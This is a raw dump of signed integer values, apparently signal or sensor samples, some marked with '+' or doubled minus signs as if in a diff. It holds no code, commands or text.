-101 -94 -89 -85 -83 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -85 -82 -79 -77 -74 -70 -68 -64 -60 -57 -52 -48 -44 -40 -37 -34 -30 -28 -24 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -4 -4 -3 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -99 -92 -88 -83 -80 -78 -76 -73 -70 -66 63 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 --90 --85 --79 --58 --70 --66 --62 --58 --54 --51 --48 --45 --41 --38 --36 --34 --32 --30 --28 --26 --24 --22 --21 --20 --19 --18 --17 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -103 -99 -94 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -90 -86 -83 -80 -78 -75 -72 -68 -64 60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -88 -85 -82 -78 -77 -74 -70 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -47 -44 -40 -36 -33 -30 -28 -25 -22 -21 -19 -17 -16 -14 -13 -13 -12 -10 -10 -8 -8 -6 -6 -5 -4 -4 -3 -2 -2 -1 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --91 --85 --63 --74 --54 --65 --61 --57 --54 --50 --47 --44 --41 --39 --36 --34 --32 --30 --28 --26 --25 --23 --22 --20 --19 --18 --16 --16 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -113 -108 -103 -100 -95 -92 -88 -84 -80 -76 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -88 -85 -82 -79 -77 -74 -71 -67 -64 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -88 -85 -82 -78 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -90 -85 -82 -79 -77 -74 -71 -67 -64 -59 -56 -52 -48 -44 -41 -37 -34 -30 -28 -26 -23 -21 -19 -17 -16 -13 -12 -11 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -2 -2 -2 -1 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --84 --63 --75 --54 --65 --61 --58 --54 --50 --47 --44 --41 --38 --36 --34 --32 --30 --28 --26 --24 --22 --21 --20 --19 --18 --16 --16 --15 --14 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -102 -98 -94 -90 -86 -83 -79 -75 -70 -66 -61 -56 +58 +54 52 47 43 -40 -36 -33 -30 -28 -25 -24 -21 -20 -18 -16 -15 -13 -12 -11 -10 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --91 --85 --63 --74 --54 --66 --61 --57 --54 --50 --47 --44 --41 --39 --36 --34 --32 --30 --28 --26 --24 --23 --21 --20 --19 --18 --17 --16 --15 --14 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -103 -99 -94 -92 -88 -85 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -86 -83 -80 -78 -75 -72 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --98 -109 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -59 -56 -52 -47 -43 -40 -36 -33 -30 -27 -25 -22 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -2 -2 -2 -1 -0 -0 --90 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 -99 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -123 -109 -99 -92 -87 -83 -81 -78 -76 -73 -70 -67 -63 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 --91 --84 --79 --58 --70 --65 --61 --57 --53 --50 --47 --44 --41 --39 --36 --34 --31 --30 --28 --26 --24 --23 --21 --21 --19 --18 --17 --16 --16 --14 --13 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -103 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -110 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -93 -88 -84 -81 -78 -77 -74 -72 -68 -65 -61 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -90 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -34 -30 -28 -25 -23 -21 -19 -17 -15 -13 -12 -11 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 -3 -2 -1 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 -100 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -108 -99 -93 -87 -83 -80 -78 -76 -73 -70 -66 -63 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -102 -94 -89 -84 -82 -80 -77 -74 -71 -67 -64 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 --90 --84 --79 --58 --69 --65 --60 -56 --53 --50 --47 --44 --41 --38 --36 --34 --32 --30 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -122 -114 -109 -103 -99 -95 -92 -88 -85 -80 -76 -71 -67 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --85 --96 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 112 -101 -94 -90 -85 -82 +96 +86 79 -77 75 -72 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -80 -78 -75 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 +70 67 64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -27 -25 -23 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -3 -3 -2 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --93 --87 --63 --74 --54 --66 --61 --57 --54 --51 --48 --44 --42 --40 --37 --34 --32 --30 --28 --26 --24 --23 --22 --20 --19 --18 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -108 -103 -99 -95 -92 -88 -85 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -59 -55 --44 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -88 -84 -82 -78 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -100 -94 -89 -85 -82 -80 -78 -74 -71 -66 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -93 -89 -85 -82 -79 -77 -74 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -101 -93 -88 -85 -82 -78 -76 -74 -71 -67 63 60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -80 -78 -74 -71 -67 -64 -60 -56 -51 -48 -44 -41 -37 -34 -30 -28 -25 -23 -21 -19 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --85 --64 --75 --54 --65 --62 --58 --54 --50 --47 --44 --40 --38 --36 --34 --31 --30 --28 --26 --25 --23 --21 --20 --19 --18 --17 --16 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -103 -99 -95 -92 -88 -84 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --85 --95 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -102 -94 -89 -85 -82 -80 -77 -74 -71 -68 -64 -60 -56 -52 -48 -43 -40 -36 -33 -29 -27 -24 -22 -20 -19 -16 -16 -14 -13 -12 -11 -10 -10 -8 -7 -6 -6 -5 -4 -4 -3 -2 -2 -1 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 --91 --85 --64 --75 --55 --65 --62 --58 --54 --50 --47 --44 --42 --39 --36 --34 --32 --30 --28 --26 --25 --23 --22 --21 --19 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -125 -115 -108 -103 -99 -96 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --85 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -90 -85 -82 -79 -77 -74 -71 -67 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -65 -60 57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -111 -101 -94 -89 -86 -83 -79 -77 -74 -72 -67 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -27 -25 -22 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -4 -3 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --91 --85 --64 --74 --53 --65 --61 --57 --53 --50 --47 --44 --41 --39 --36 --34 --32 --30 --28 --26 --24 --23 --21 --20 --19 --18 --17 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -113 -108 -103 -100 -96 -92 -88 -85 -80 -76 -70 -65 -60 -55 +53 50 46 42 -39 -36 -32 -30 -28 -25 -24 -22 -20 -18 -16 -15 -14 -13 -12 -10 -10 -8 -7 -7 -6 -6 -5 -4 -4 -4 -3 --87 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --90 --85 --63 --74 --53 --66 --61 --57 --54 --50 --47 --44 --41 --39 --37 --34 --32 --30 --28 --26 --24 --23 --21 --20 --19 --18 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -109 -104 -100 -95 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 92 -88 -85 -80 -76 -71 -67 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --85 --95 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 127 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -88 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -75 -72 -68 -64 -60 -56 -51 -47 -43 -40 -36 -33 -30 -28 -25 -23 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -6 -6 -6 -5 -4 -4 -3 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --98 --92 --85 --63 --75 --55 --66 --61 --58 --54 --51 --47 --44 --42 --40 --36 --34 --32 --29 --28 --26 --24 --23 --22 --21 --19 --17 --16 --15 --14 --13 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -103 -99 -95 -92 -88 -84 -80 -76 -71 -66 -61 -57 -52 -48 -43 -40 -37 -34 -30 -28 -25 -23 -21 -19 -18 -16 -15 -14 -12 -11 -10 -9 -8 -7 -6 -5 -4 -4 -3 -3 -3 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 -99 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -110 -100 -93 -88 -83 -81 -78 -77 -74 -70 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --98 --90 --84 --80 --59 --70 --65 --61 --58 --54 --50 --47 --44 --41 --39 --36 --34 --32 --29 --28 --26 --24 --24 --21 --20 --20 --18 --16 --15 --14 --14 --12 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -104 -100 -95 -92 -88 -85 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --95 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -75 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -88 -86 -82 -79 -77 -74 -72 -68 -64 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -101 -94 -89 -84 -82 -80 -77 -74 -71 -67 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -78 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -89 -85 -82 -80 -77 -75 -72 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -75 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -101 -94 -89 -84 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 